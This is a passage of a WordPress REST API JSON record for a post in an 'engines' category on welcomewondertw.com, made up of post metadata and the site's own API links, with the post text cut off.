mod&hellip;<\/p>","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[248],"tags":[],"class_list":["post-56734","post","type-post","status-publish","format-standard","hentry","category-engines","category-248","description-off"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/welcomewondertw.com\/en\/wp-json\/wp\/v2\/posts\/56734","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/welcomewondertw.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/welcomewondertw.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/welcomewondertw.com\/en\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/welcomewondertw.com\/en\/wp-json\/wp\/v2\/comments?post=56734"}],"version-history":[{"count":1,"href":"https:\/\/welcomewondertw.com\/en\/wp-json\/wp\/v2\/posts\/56734\/revisions"}],"predecessor-version":[{"id":56735,"href":"https:\/\/welcomewondertw.com\/en\/wp-json\/wp\/v2\/posts\/56734\/revisions\/56735"}],"wp:attachment":[{"href":"https:\/\/welcomewondertw.com\/en\/wp-json\/wp\/v2\/media?parent=56734"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/welcomewondertw.com\/en\/wp-json\/wp\/v2\/categories?post=56734"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/welcomewondertw.com\/en\/wp-json\/wp\/v2\/tags?post=56734"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}